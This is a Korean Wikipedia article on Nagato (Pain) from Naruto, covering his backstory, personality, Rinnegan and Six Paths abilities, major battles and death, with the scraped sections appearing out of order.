그렇게 살아난 아귀도는 나루토의 두 번째 나선수리검을 흡수해 버리는데, 그것은 단지 나루토가 아귀도를 처리하기 위함이었다. 그때 힘이 되돌아온 천도는 아귀도가 나루토의 차크라를 빨아들여 무능하게 만들으려 나루토를 잡았지만, 나루토의 선법 차크라를 빨아들인 아귀도는 두꺼비의 모습을 갖기 시작하다가 돌로 변해버렸다. 이 빈 틈을 타 나루토는 탈출했지만 다시 천도에게 붙잡혀 차크라 방해 무기들이 몸에 꽃히게 된다. 그때 천도는 나루토에게 이 모든 것의 이유는 닌자시스템이 세상에 가져온 돌고도는 증오, 고통, 시련, 그리고 전쟁을 소멸시키고, 미수들을 이용해 세상의 모든 갈등을 없애고 평화를 가져오기 위함이라고 설명한다. 그리고는 나루토에게 더 좋은 방법이 있냐고 묻지만 나루토는 대답할 수 없었다. 천도가 나루토를 데려가기 전, 휴우가 히나타가 나타나 나루토를 지키려고 한다. 그때에 히나타는 죽음 직전까지 가게 되었는데, 그로 인해 광분한 나루토는 구미의 증오심과 차크라와 싱크로해 육미(六尾)상태가 되었다. 그때의 천도는 육미의 나루토를 상대하기에 불가능한 상태로, 나가토와 가까운 곳으로 후퇴한다. 나가토의 본체와 가까워진 천도는 지폭천성(地爆天星)으로 나루토를 구(球)형의 지구의 잔여물안에 나루토를 가둔다. 나가토의 승리가 보일때 즈음에, 나루토가 팔미(八尾)로 진화해 지폭천성에서 벗어난다. 더 큰 원구를 만들어야 하는 것을 깨달은 천도는 원구를 더욱 크게 만들기 위해 힘을 무리하게쓰고, 팔미 이상이 되면 나루토의 의식속에서 자신이 깨어나도록 술식을 짠 미나토가 나타나 나루토의 구미 봉인을 다시 걸어준다 원래의 상태로 돌아온 나루토는 부서진 잔해 속에서 나왔다. 나루토는 좀 전에 들은 천도의 설교로 인해, 나가토의 본체와 만나 얘기하고 싶어했지만, 천도는 받아들이지 않고 공격했다. 나루토는 나선수리검을 두 번이나 실패하였지만, 천도가 가진 약점(다음 인술을 펼치기 까진 최소 5초가 걸린다)을 이용하여 완벽한 시간조절로 천도를 무너뜨렸다. 나루토는 천도의 차크라 수신기 중 하나를 때 자신에게 삽입해 차크라 역수신을 시도해 나가토의 위치를 알아냈다. 지라이야의 죽음과 나뭇잎 마을을 파괴한 장본인인 나가토에게 화가 나있었던 나루토이지만, 침착하게 지라이야의 제자로써 나가토에게 질문을 시작했다. 나루토는 어떻게 옛 스승의 가르침에서 그만큼 멀어질수가 있는가를 질문했다. 나가토는 나루토가 자신이 생각하는 이상의 평화와 동의할것을 기원하며 자신의 과거와, 자신의 인생에 있었던 비수같은 고통들과, 고통만이 세상을 구원할 수 있는 이유를 설명했다. 나투로는 나가토의 궁극적인 결론에 동의하였지만, 지라이야의 가르침과 너무 다른 나가토의 결론을 받아들이지 않았다. 그와 함께, 나루토는 나가토의 평화를 가져오는 방법에 대한 선문(先問)에 대해 "증오의 굴레를 소멸하는 것"이라고 대답했다. 나루토는 나가토를 죽이는 것은 단지 복수의 굴레를 영구화 시키는 것이라고 판단하기에 이른다. 나가토는 나루토의 결정에 감탄하고, 지라이야의 가르침을 회상하며, 나루토의 대답에 따르기로 결정했다. 나가토는 외도:윤회천생술(外道:輪廻天生の術)을 이용해 자신으로 인해 사망한 나뭇잎 마을 사람들을 부활시켜주었다. 빨간 머리가 백발이 될 정도로 너무 많은 차크라와 스테미너를 소진한 나가토는 마지막으로 자신의 목숨을 인술의 대가로 지불한다. 나가토는 죽기 전, 나루토의 평화의 꿈이 이루어 지길 바랬고, 나루토와 지라이야의 책을 "참 신의 유산"이라고 여겼다. 나가토는 자신의 스승과 같이 얼굴에 미소를 머금고 눈을 감았다. 인주력 봉인 일주 나가토는 마다라와 동맹을 맺고싶은 카부토로 인해 부활한다. 부활한 나가토의 원래의 머리색인 빨간색이 아닌, 흰 백발을 갖고있었지만, 몸 상태는 예전과 다름없이 거동이 불편했다. 하지만 항상 등 뒤에 꽂고있던 차크라 수신기는 갖고있지 않았다. 닌자세계대전 일주[편집] 나가토는 카부토와 마다라가 전쟁을 선포함과 동시에 소환되었다. 그는 이타치와 카쿠즈와 마찬가지로 전쟁을 위해 쓰이게 되었는데, 걸을수가 없는 나가토는 우치하 이타치의 도움으로 걷게된다. 밤이 되고 싸움이 멎었을 때에, 나가토는 이타치와 둘이 남겨진다. 그들은 걸으며 예전 아카츠키에 소속 했었을때를 회상하며 대화를 하는데, 이타치와 자신은 혈계한계인 강력한 동술로 인해 마다라에게 이용당했다고 말하며, 이타치는 어둠 속에 가려진 진짜닌자로 표현했다. 성지에 잠깐 쉬어갈때 둘은 마다라의 계획과 책략에 대해서 의논했다. 나가토와 이타치는 어떤 산을 향해 가며 예전을 회상하고 있을때, 나루토와 킬러B와 조우한다. 나가토와 이타치 자신들은 나루토와 다시 대결해야 한다는 사실에 비통해한다. 그와 동시에나가토는 나루토를 다시 만났다는 것에 기뻐하며, 나루토의 인주력으로써의 상태에 대해 질문하고, 구미를 제압하고 나루토 자신 안에 있는 증오를 뛰어넘음에 극찬한다. 강제로 나루토와 킬러B를 공격해야 하는 나가토와 이타치는 공격에 앞서 곧 닥칠 이타치의 공격과, 우치하 일족 말살사건의 전말을 알게되고 경악을 금치 못한다. 나가토는 만상천인(万象天引)으로 나루토와 큰 바위를 충돌하게 하는데, 자신의 공격을 튕겨낼수 있는 나루토의 능력에 감탄한다. 그리곤 나루토와 킬러B에게 자신과 이타치를 떨어뜨려 놓으라고 한다. 걷지 못하는 나가토 자신은, 소환술을 이용해 자신의 소환수인 개와 새를 불러들이고 자신도 이젠 날수 있다고 농담을 한다. 나루토와 대결하게 된 나가토는, 자신의 개는 그 어떤 괴력으로도 파괴될 수 없으니 자신을 공격하라고 지시한다. 나가토는 이타치의 변화를 감지하고, 이타치가 아마테라스(天照)를 쓰려고 한다고 나루토를 주의시탄다. 하지만 나가토는 자신의 소환수들이 공격을 당하는 것을 보고 그 까마귀가 무엇인지를 묻는다. 그때 이타치는 나가토에게 돌아서서 아마테라스로 공격을 하고 나가토는 이타치의 변화를 깨닿는다. 나가토는 아마테라스의 불들에 삼켜져 바닥으로 추락하지만, 신라천정을 이용해 다른 이들을 자신에게서 멀어지게 만든다. 카부토로 인해 의식이 제거된 나가토는, 다시 재생해 자신의 카멜레온을 소환해 그 입 속 안으로 피한다. 그리고 그 안에서 거대한 신라천정을 이용해 상대들을 놀래킨 후 킬러B에게 다가가 공격하지만, 팔미(八尾)버전2의 킬러B와 뢰이열도(雷犂熱刀)로 오히려 공격당한다. 하지만 나가토가 갖고있는 아귀도의 능력으로 킬러B의 차크라를 흡수한다. 이로인해 나가토의 몸은 외도마상을 부르기 전 상태로 돌아가고, 자신의 카멜레온을 이용해 나루토를 포박한후 영혼을 가져가려 한다. 나가토가 나루토의 몸과 영혼을 카부토에게 보내기 위해 지옥의 왕을 소환했을때, 킬러B가 나가토를 절단시킨후 나루토를 살리려고 하지만, 수라도의 두 팔로 나가토는 킬러B를 막고, 나머지 두 팔은 나루토의 영혼을 거의 다 빼내기까지 이른다. 하지만 그때 이타치가 자신의 수사노오(須佐能乎)를 이용해 나가토를 막는다. 그래서 나가토는 지폭천성을 이용해 그 셋을 포획하려 하지만, 이타치의 야사카의 곡옥(八坂ノ勾玉), B의 미수옥(尾獣玉), 그리고 나루토의 나선수리검으로 인해 나가토의 인술준비가 끝나기도 전에 막는다. 마지막 공격으로 인한 연기가 사라졌을때 나가토는 자신의 의식이 돌아오고, 수사노오의 토츠카의 검이 자신에게 꽃혀있는 것을 발견한다. 나가토는 이타치에게 봉인 되기 전 마지막 순간에 나루토에게, "지라이야 호걸담....훌륭한 이야기였다 나는 속편이었어. 언제나 그렇듯 엉망이었지. 나루토, 실패작인 나를 가릴수 있을정도의 걸작이 되거라....."라고 한다 이 장면은많은 감동을 준 장면 나가토는 토츠카의 검이 자신을 봉인할때에 이제서야 지라이야와 함께할 수 있다고 말하며 작별인사를 하였다. 나가토의 유산[편집] 나가토의 죽음 후, 아카츠키와 더 이상 관련되어 있을 이유가 없어진 코난은 아카츠키를 탈퇴했다. 코난은 나가토와 천도(야히코)의 시체를 비 마을로 갖고와 장례를 치웠다. 두 사람은 아카츠키의 유니폼을 입고 꽃으로 꽉 찬 성지에 눞혀졌다. 나루토가 어지러운 닌자세계에 평화를 갖고올것이라는 것을 믿고 죽어간 나가토를 지켜본 코난은 비 마을은 나루토의 미래를 위해 충성을 다할것을 맹세한다. 마다라는 나가토의 죽음에 놀랐고, 나가토의 윤회전생술을 사용함으로 자신을 "배신"한것에 대해 격노했다. 마다라는 후에 나루토 앞에 나타나 어떻게 나가토의 마음을 움직였는지 묻는다. 나루토는 단지 권력에만 집착하는 마다라와는 달리, 나가토는 진심으로 평화를 원했다고 대답했다. 나가토의 죽음으로, 토비(오비토)는 나가토의 윤회안을 가져가기로 마음먹었다. 그는 비 마을로 건너가 코난에게 윤회안의 위치를 물었다. 하지만 코난은 대답하기를 거절하고 나가토의 몸을 지키기 위해 온 힘을 다해 맞섰지만 패배했다. 그 후 토비(오비토)는 나가토의 시체를 찾고, 그는 나가토가 세 번째 육도였다고 말한다. 토비(오비토)는 미소를 띄며 죽어간 나가토를 보고 계속되는 배신에 조롱당하는 기분이라 표현했다. 그리고 나가토를 다른 디멘션에 있는 "실험실"로 데려가 눈 하나를 자신의 왼쪽 눈으로 만든다. 나가토의 탄생배경[편집] 나루토 데이터 북:자의 서 캐릭터 오피셜 데이터 북에는 키시모토의 나가토의 디자인에 대한 뒷얘기가 실려있다. 키시모토가 말하기를, 아카츠키의 리더로써 꽤 멋있는 느낌지기만, 위험한 인물처럼 보이게 그렸다고 한다. 키시모토는, 그의 이름을 "페인"이라 지은 후부터 자신의 신체로까지 고통을 나타내는 캐릭터로, 페인의 몸에 피어싱을 그리기로 마음먹었다고 한다. 애니메이션에 처음 등장했을때는, 페인의 윤회안읜 색이 다른 색으로 칠해진 것이 아닌가 생각했지만, 377회에 첫 유색 일러스트가 실렸는데 그것과 애니메이션의 눈 색깔이 같았다. 몇몇의 나가토의 능력은 불교의 교리와 전문용어로 부터 영감을 받은것으로, 스토리 중 나가토는 고통과 괴로움의 경험에 대해 얘기했는데, 이것 또한 부처의 사상으로 부처도 후에 그 사상을 저버렸다. 나가토에 대한 일반 상식[편집] 나가토의 이름의 "장수하는 문"이라는 뜻이다. 나가토의 모든 육도페인은 한번씩 지라이야와 만난적이 있었다. 나가토의 육도페인들은 모두 시체들로 만들어져 있는데, 축생도의 소환수들 역시 죽었던 시체들로 추측된다. 그들역시 나가토의 윤회안과 피어싱을 소유했다. 나가토의 어린시절, 전쟁의 아픔과 공포를 경험할 비 마을 고아들을 불쌍하게 여겨 죽여줄것을 제안한적이 있는 오로치마루가 나중에 아카츠키에 입단하게 되는데, 그 고아들이 오로치마루 자신의 선배가 된다는 것에 어떻게 생각했는지는 미지수이다. 나가토는 자신을 "신"이라고 생각했는데, 애니메이션에 나가토가 등장할때마다 괴기스럽지만 거룩한 음악이 배경음으로 깔렸는데, 이 음악의 이름은 "의례"라고 OST에 실려있다. 세 번째 데이터 북에 따르면: 나가토의 취미는 인술을 연습하는 것이었다. 자신의 친구들을 지키기 위해선 누구도 그의 적이 될 수 있었다. 나가토가 제일 좋아하는 음식은 구운 생선과 스튜이다. 나가토가 제일 좋아하는 문장은 "별은 비가 오는 밤 속에 숨어있다"이다. 어릴때는 "성장"이었다. 나가토는 나루토와 싸우는게 소원이었다(구미를 뜻한다고 할 수 있다.) 원본 주소 "https://ko.wikipedia.org/w/index.php?title=나가토_(나루토)&oldid=22386534" 분류: 나루토의 등장인물가공의 일본 사람가공의 남자숨은 분류: 출처가 필요한 글/2011년 11월출처가 필요한 모든 글전체에 출처가 필요한 글 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DanskEspañolFrançaisGalegoItalianoShqipTürkçeУкраїнська中文 링크 편집 이 문서는 2018년 9월 13일 (목) 23:52에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
나가토 (나루토) - 위키백과, 우리 모두의 백과사전 나가토 (나루토) 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이 문서의 내용은 출처가 분명하지 않습니다.이 문서를 편집하여, 신뢰할 수 있는 출처를 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견은 토론 문서에서 나누어 주세요. (2011년 11월) 나가토(長門) 또는 페인(ペイン)는 아카츠키(暁)와 비 마을(雨隠れの里)의 리더로, 질풍전 시리즈의 주조연이다. 아카츠키 멤버들에게는 "리더"라 불리지만, 파트너인 코난(小南)에게는 이름으로 불린다. 나가토는 아카츠키 멤버들에게 임무를 나눠주고 리더로써 그들의 행동들을 주관한다. 아카츠키 멤버들에게는 비밀로 토비[가짜 우치하 마다라(우치하 오비토)]와 협력하고 있었다. 목차 1 나가토의 배경 1.1 초대 아카츠키(暁) 2 모습 3 성격 4 능력 4.1 페인 육도(六道) 5 등장 5.1 질풍전 5.2 이타치 뒤쫓기 일주 5.3 츠지구모 일족 금술(禁術) 일주 5.4 페인의 나뭇잎마을 정복 5.5 닌자세계대전 일주 6 나가토의 유산 7 나가토의 탄생배경 8 나가토에 대한 일반 상식 나가토의 배경[편집] 우치하 마다라에 의거하면, 나가토는 우즈마키 일족(うずまき一族)의 자손이다. 제2차세계닌자대전(第二次忍界大戦) 일어났을 당시에는 나가토는 부모님과 비 마을 가까이에 살고있었다. 하루는 두명의 나뭇잎 닌자(木ノ葉の忍)들이 나가토의 집을 빈집이라 인식하고 음식을 찾기위해 침입했다. 나가토의 부모님은 자신들이 죽을것이라고 확신하고 그 두 닌자를 공격하고, 그 틈을 틈타 나가토를 도망치게 하려고 했다. 하지만 나뭇잎 닌자들은 나가토의 부모님을 적군닌자로 착각하여 살해한다. 그때 나가토는 부모님을 잃은 깊은 슬픔으로 처음으로 윤회안(輪廻眼)을 일으키고 동력으로 나뭇잎 닌자들을 살해한다. 성인이 되었을때 나가토는 이 사건을 자신의 첫 번째 비수같은 고통이라고 칭했다. 가족을 잃은 나가토는 문들을 두들이며 음식을 구걸하는 떠돌이 신세가 되었다. 그때 나가토는 "치비"라는 강아지를 만나고, 그 후에 코난과 야히코(弥彦)를 만난다. 하루는 한조와 지라이야 (나루토), 츠나데, 오로치마루 (이 대결 후, 나뭇잎 마을 전설의 3닌자로 칭해진다)가 싸우는 곳 주변을 우연히 걷다가 엄청 큰 폭발로 인해 셋은 다치고 치비는 죽는다. 나가토는 세상을 바꾸겠다고 결심한다. 전쟁이 끝나고 나가토, 코난, 야히코(비 마을 고아들)은 전설의 3닌자와 맞닥드린다. 그 만남 이후 지라이야는 비 마을 고아들과 남아 인술을 가르치게 된다. 지라이야와 같이 살게 된지 얼마 되지 않았을때, 나가토와 야히코는 공격스러운 바위마을(岩隠れの里) 닌자를 만난다. 나가토는 그때 다시한번 윤회안을 가동시켜 바위닌자를 죽이고 야히코를 지킨다. 코난의 말을 듣고 달려온 지라이야는 그때 나가토의 윤회안을 보고 그들에게 인술을 가르치기를 결심한다. 나가토는 바위닌자를 죽인것에 괴로워 하며 죄책감에 시달리며, 지라이야에게 코난과 야히코를 지킬수 있게 가르쳐 달라고 한다. 지라이야의 답은 나가토에게 "육도선인(六道仙人)의 눈을 가진 너는 나중에 크면 그 눈을 이용해 그 둘을 지키며 세상에 평화를 찾으면 된다"고 했다. 그리고 3년 후 지라이야는 그들이 자립할 수 있는걸 알때 나뭇잎마을로 돌아왔다. 초대 아카츠키(暁)[편집] 그 후 몇년간 비 마을 고아들의 위업들을 들은 지라이야는 후에 그들이 죽었다는 소식도 듣게된다. 사실은 나가토, 코난, 그리고 야히코는 평화를 찾기위해 한걸음씩 나아가기 시작한 것이었다. 그들은 야히코를 리더로하여 아카츠키를 결성했다. 아카츠키는 전쟁을 끝내고 싶다는 마음을 품은 실력있는 추종자들로 이루어져 있었다. 그러한 아카츠키를 경계하던 비 마을의 리더, 도롱뇽 한조(山椒魚の半蔵)는 나뭇잎 마을의 암부:뿌리(暗部:根)의 시무라 단조(志村ダンゾウ)와 합세하여 아카츠키를 무너뜨리려고 했다. 평화를 의논한다는 명목 하에 한조는 나가토와 야히코 그리고 코난을 매복지로 불러내었다. 그때에 한조는 나가토에게 야히코와 코난 둘중 한명을 선택하라고 협박했다. 나가토에게 선택을 강요하고 싶지 않았던 야히코는, 자의로 나가토가 들고있던 쿠나이로 돌진했다. 그때 야히코는 죽어가면서 나가토에게 꼭 살아남아서 지라이야가 말했던 것처럼, 이 세상의 구세주가 되라고 했다. 후에 나가토는 이것이 자신의 두 번째 비수같은 고통이라고 칭했다. 엄청난 충격을 받는 나가토는 코난을 구해내고, 야히코의 시체를 옆에 두고 한조의 부하들을 공격하기 시작했다. 그 때 나가토는 소환수:외도마상(口寄せ:外道外道)을 이용해 한조를 제외한 모든 인력들을 제거할 수 있었다. 하지만 그 인법은 나가토를 쇠약하게 만들고 등에는 수많은 차크라 수신기로 인해 거동불능의 상태가 되었다. 그는 그때 비 마을에 대한 충성을 고하며 자신의 비 마을 서클렛에 가운데에 가로로 직선의 줄을 그으며, 세상에 그의 고통을 가르치기로 마음먹었다. 그 후 야히코의 시체는 육도페인(ペイン六道)중 천도(天道)의 몸으로 쓰였고, 아카츠키의 리더로 만들었다. 육도페인을 소유하면서, 나가토는 비 마을의 반란군들을 이끌고 한조와 한조의 측근들을 다 죽임으로 인해 비 마을의 리더가 되었다. 모습[편집] 나가토는 피부가 희고 턱까지 오는 빨간머리(우즈마키 일족의 트레이드 마크)와, 나가토를 더욱 더 눈에 띄게하는 윤회안을 갖고있다. 어린 나가토는 머리가 눈을 항상 가리고있어서 보통의 눈은 보인적이 없다. 나가토는 장신의 성인이 되었지만, 외도마상 소환후에는 눈에 띄게 쇠약해지고 등에는 차크라 수신기를 꽂게됐다. 등을 제외하고 양어깨 관절과 팔뚝, 그리고 쇄골 밑에 스크류드라이버과 흡사한 두개의 차크라 수신기를 꽂고있다. 거행이 불편해진 나가토는 기계에 의존하고 있었는데, 그 기계는 자기방어를 위해 차크라를 방해하는 칼날을(사실상 차크라 수신기이다 지라이야를 무참히 살해한 전축생도 제외 5명이 쓴 무기들 역시 차크라 수신기를 날카롭게 만들어 창으로 사용한 것이다) 쏠수 있었다. 나가토는 유일하게 아카츠키 유니폼을 입지 않았던 구성원으로, 줄이 그어진 써클렛도 한조를 죽인 후에 쓰지 않았다. 하지만 여섯명 모두의 육도페인은 써클렛을 하고있었다. 차크라를 모두 소진시키면서까지 나뭇잎 마을 주민들을 모두 살리기 위해 나가토가 사용한 마지막 인술인 외도:윤회천생술(外道:輪廻天生の術)은 나가토의 빨간 머리를 백발로 만들었다. 제4차세계닌자대전(第四次忍界大戦)때에 카부토로 인해 부활했을 당시에는, 등에 있던 차크라 수신기를 제외하곤 죽을 당시와 동일한 모습으로 있었다. 하지만 버전 2 상태의 킬러B와 싸울때 빨아들인 차크라로 힘을 얻은 나가토는, 빨간 머리과 근육들을 다시 얻음으로 인해 초기 아카츠키 당시와 비슷한 모습으로 돌아왔다. 성격[편집] 나가토는 예민하지만, 착하고, 잘 울고, (자신의 친구를 살리는 일임에도 불구하고)살인에 대한 충격이 컸다. 겁이 많고, 세상에서의 자신의 위치가 불확실하다 생각했고, 자신이 소중하게 여기는 사람들을 지키고 싶었지만 방법을 알지 못했다. 나가토는 비 마을에서 "신의 천사"라 불리는 한결같이 코난을 존중하고 친절하게 대했다. 코난을 지키기 위해선, 지라이야와 코난과의 대결에서와 같이, 부탁받지 않아도 주저하지 않고 지켜줬다. 코난이 유일하게 나가토를 이름으로 부르는 구성원이었다. 나가토는 야히코를 향한 코난의 감정을 잘 알고 있기 때문에, 둘만의 시간을 주었다. 페인으로써의 나가토는 매우 달랐다. 아주 침착하고, 진지하며, 냉담하며 고립된 인간이었다. 나가토는 어릴때 경험했던 충격들과 아픔들이 고통과 아픔의 참 뜻이라 전하며 자신을 "신"이라 칭했다. 또한 자신이 모든 인간들보다 우월하다 믿었다. 나가토는 미래에 일어날 전쟁을 막기위해 죄책감 하나 없이 완전파괴를 하고 그로 인해 이 세상이 고통의 참 뜻을 깨닿길 원했다. 나중에 나가토는 자신의 계획을 위해 옛 선생이던 지라이야까지 죽이기에 이른다. 그리고 자신을 평화의 신이라고 칭하며 이 세상에 고통을 가져옮으로써 모든것들이 성숙해 지기를 원했다. 나가토는 야히코가 항상 말하던, 그 누구도 참 고통을 알지 못하면 참 평화도 모른다는 생각을 받아들인다. 나미카제 미나토는 우치하 마다라가 자신의 계획을 성사시키기 위해, 이 생각을 이용해 나가토를 조종했다고 했다. 애니메이션에서는, 나가토는 "고통"에 대해 얘기할때면 예민하게 그려졌다. 모리노 이비키가 특별소환수를 이용해 자신과 축생도의 고통을 연결시키는데, 그때 나가토는 축생도를 통해 그의 격노를 표현했다. 그는 이비키는 참 고통을 눈꼽만큼도 모른다고 칭하며 이비키를 맹렬히 공격했다. 하지만 이런성격과 동시에, 나가토는 특히 죽은 사람들에 대해 경의를 표하였다. 예를 들자면, 아카츠키 멤버들에게 서로 조금 더 좋은 관계를 지니도록 유도하였다. 그리고 데이다라가 죽었을때는 모두에게 묵념하라 이르고, 키사메가 히단과 카쿠즈를 "좀비콤비"라고 칭했을때는 그를 나무랐다. 육도를 이용해 지라이야를 죽였을 때에는 그의 옛 선생의 능력을 존중하며 묵념의 시간을 가졌다. 나뭇잎 마을이 나가토의 인생 속 비극들을 가져온 근원으로써 나뭇잎 마을에 대한 큰 반감심이 있었지만, 지라이야와 함께한 시간들로 인해 마음을 조금씩 고쳐먹었다. 하지만 여전히 나뭇잎 마을은 다른사람들에게 비극을 가져옮으로써 이익을 차지한다 생각해서, 나뭇잎 마을과 옛 선생님에 대한 증오가 더욱 더 커졌다. 부활 후의 나가토는, 근심과 걱정이 없었고 더 큰 온화함으로 농담까지 할 수 있는 성격을 갖고있었다. 또한 나루토를 향한 믿음 까지 더 강해져 있었으며, 우치하 이타치에게 말하기를, 나루토가 구미를 이기고 구미를 마음대로 조종할 수 있게 된것에는 놀랍지 않다고 했다, 왜냐하면 나루토 역시 자신의 옛 선생님에게 수련을 받았기 때문이다 라고 했다. 능력[편집] 그는 아카츠키의 리더이자 비 마을의 내전의 승리자로, 엄청난 힘을 가진 닌자였다. 그는 또한 아카츠키에서 가장 강력한 구성원으로 분류되었는데, 나가토의 나뭇잎 마을 공격당시엔 육도페인을 조종하고, 많은 인술을 쓴 후에도 선인모드의 나루토와 싸우고 점령당시 죽은 나뭇잎 마을의 모든 사람들을 살려낼수 있는 차크라를 갖고있었다. 코난의 의거하면, 페인은 무적으로, 싸움에서 한번도 진적이 없다고한다. 마다라 역시 지라이야의 능력에 감탄하면서 나가토의 그런 능력을 거론할 정도였다. 나가토는 육도페인을 사용함으로 인해 지라이야를 손쉽게 이겼다. 지라이야와의 대결 후 나가토는, 만약 그가 육도페인을 소유하지 않고, 지라이야의 환법방법을 알지못함과 동시에, 지라이야가 육도페인의 비밀을 알았다면 자신은 이기지 못했을것이라 말했다. 제츠는 나가토가 모든 차크라를 소진한체 죽었다는 사실에 경악을 금치 못했다. 야쿠시 카부토의 소환술:예토전생(口寄せ:穢土転生)로 인해 부활 했을때는, 나루토와 킬러B를 손쉽게 제압하고 죽이기 바로 직전까지 이른다. 하지만 우치하 이타치의 방해로 인해 실패하고, 그들 셋과 대결하기에 이른다. 나가토도 우즈마키 일족의 한 사람으로써 믿을수 없을만큼 장수할 수 있는 가능성이 있었다. 나가토의 다리는 예전에 매복지에서의 한조의 화둔 술법(기폭찰을 감아 터뜨리는 기술)에 당한 탓에 많이 손상되어있었다. 그래서 혼자의 힘으로 서 있을수는 있었으나 빨리 움직일수는 없었다. 거기에 외도마상 소환과 외도마상 에서 나온 차크라 수신기 때문에 피골이 상접한 몰골이되었다 그러한 이유로 그를대신할 육도페인을 만들어 조종했다. 부활 후엔 소환술을 이용해 움직이고 상대의 공격이 닿지 않을곳으로 피할 수 있었다. 윤회안 나가토의 엄청난 힘의 근원은 그의 혈계한계인 전설의 윤회안에서 온다고 할 수 있다. 이 혈계한계는 세계의 첫 닌자이자 현대의 인술의 창시자인 육도선인의 것으로 전해진다. 지라이야에 의하면, 나가토는 10세에 세상에 존재하는 모든 인술을 다 깨우쳤고, 유일하게 여섯개 모두의 자연기변환능력을 소유하고 있는 사람이다. 이비키에 의하면 윤회안은 나가토가 원하는 인술을 구사할 수 있게 해준다고 하였다. 나가토는 환술에 능숙하고, 자신의 부하들이 갖고있는 비밀정보를 흘리지 않게 위해 함정과 장벽을 그들의 머릿속 안에 설치하였다. 또 윤회안은 다른 모든 동술들의 능력과 같이 다른 닌자들의 차크라의 위치를 볼수있다. 페인 육도(六道)[편집] 육도란, 불교의 윤회의 한 부분인 삼계육도중 욕계(欲界)에 속한 세계를 뜻한다. 그 세계는 천도(天道),수라도(修羅道),인간도(人間道),축생도(畜生道),아귀도(餓鬼道), 그리고 지옥도(地獄道)로 분류되는데, 페인의 여섯 신체들은 각각 육도의 이름을 갖고있다. 육도 페인의 공통점은 밝은 주황색의 머리색깔과 윤회안이다(수라도는 대머리다). 각각의 페인들은 얼굴과 몸의 수십개의 피어싱을 하고있는데, 그 피어싱들의 모양, 사이즈, 그리고 장착 패턴은 모두 달랐다. 그들은 소환술, 인술 흡수, 생각 읽기 등 모두 다른 능력을 갖고있었다. 나가토 자신은 일곱번째 페인인 외도(外道)로, 살아있는 모든것들의 생명과 죽음에 대해 제어력이 있었다. 페인들은 모두 시야를 공유 하므로 앞뒤로 포위 됐다고 둘중 하나의 뒤로 가서 공격 하는건 통하지 않는다 시야를 공유 하므로 손바닥 뒤집듯이 피하면 그만, 따라서 후카사쿠는 페인을 상대할때 한번에 한명씩상대하는 것이 제일 알맞은 공격 방법이라고 했다. 코난이 말했듯이, 나가토는 윤회안의 힘으로 육도페인의 모든 능력들을 쓸수있는 능력이 있었다. 이것은 후에 카부토에 의해 부활했을때 증명되었다. 육도페인의 모든 능력을 본체에 다 갖고있는 부활 한 나가토는 무적의 상대였다. 그는 다수의 페인들의 능력들을 동시에 구사할 수도 있었으며, 나루토는 본체를 사용하는 나가토의 술법들의 힘과 속도는 훨씬 더 강력했다고 했다. 킬러B와의 대결 중에는 아귀도의 능력인 흡수술을 이용하여 2단계의 킬러B의 차크라를 흡수할 수 있었다. 참고로 육도 페인의 대사는 나가토의 담당 성우가 맡고있다 다만 나가토 본체와는 달리 냉정하고 차가운 톤이다 두 번째 축생도는 한국판의 경우 김율이라는 성우가 담당하게 되었다 페인 수라도(修羅道)는 몸 내부가 각종 살인 기계들로 채워져 있으며, 이 기계들로 공격한다.실상 매인 사용 무기는 유도 미사일뿐 3개의 얼굴이 돌아감에 따라 무기가 교체되며 6명의 페인 중 선봉. 간단한 칼부터 미사일까지 별의별 무기들이 장착돼 있다. 지라이야의 팔을 잘라버린 녀석. 츠나데 공격 직전에 선인모드의 나루토가 날린 나선환(螺旋丸)한방에 황천길로 간다. 힘이 매우 샌데 여성체로 바뀐 축생도를 엄청난 속도로 집어 던지는 괴력을 보여준다 육도 윤회에서 수라는 전쟁과 폭력으로 생존하는 세계다. 아수라는 수라세계의 우두머리다. 카카시와 전투시 때처럼 양쪽 뺨에 얼굴이 하나씩 자라나고 팔이 6개가 되는등 기괴한 신체 변형이 가능하다 대머리인데 서클렛 위쪽 부분의 피부가 5등분으로 조각 나면서 열리면 파괴용 레이저빔 발사 장치가 등장한다. 주요 공격법은 오른손을 비틀어 당겨서 그속에 장치된 미사일을 꺼내 공격 하는 것이다 닌자 세계에 미사일이 존재 하는 것 자체가 말이 안되는 설정 카카시에게 처참하게 당해 거의 박살난후에도 마지막 힘을 짜내 등에 감춰진 거대 미사일을 쵸지에게 날린다. 육도 페인중 가장 말이 없는 두명 중 하나다.(수라도와 아귀도가 제일 말이 없다)수라도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 만난 꼭두각시 술사다(지라이야 인법천참조) 수라도의 얼굴은 하얀색에 대머리이며 얼굴의 차크라 수신기는 턱에 큰 사이즈1개 코에 문손잡이 모양1개 뺨에 작은 사이즈 수신기가 2개씩 4개 서클렛 위쪽의 머리에 뿔모양의 수신기가 다수가 박혀있다 페인 아귀도(餓鬼道)는 모든 인술을 흡수하는 능력을 갖고 있다. 방어형으로 인술의 능력과 크기를 모두 무시하고 흡수한다. 체술(対術)공격에 약하다. 대규모공격은 흰색깔의 돔 같은것을 둘러 흡수한다 육도 페인중 가장 말이 없는 두명 중 하나다 육도윤회에서 아귀는 배는 태산만한데 목구멍은 바늘구멍 크기라 먹지를 못해 항상 목마름과 배고픔에 시달리는 세계다. 나루토의 차크라를 흡수하던 중 자연 에너지를 지나치게 흡수하여 두꺼비 석상이 되어 죽는다. 아귀도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 술집에서 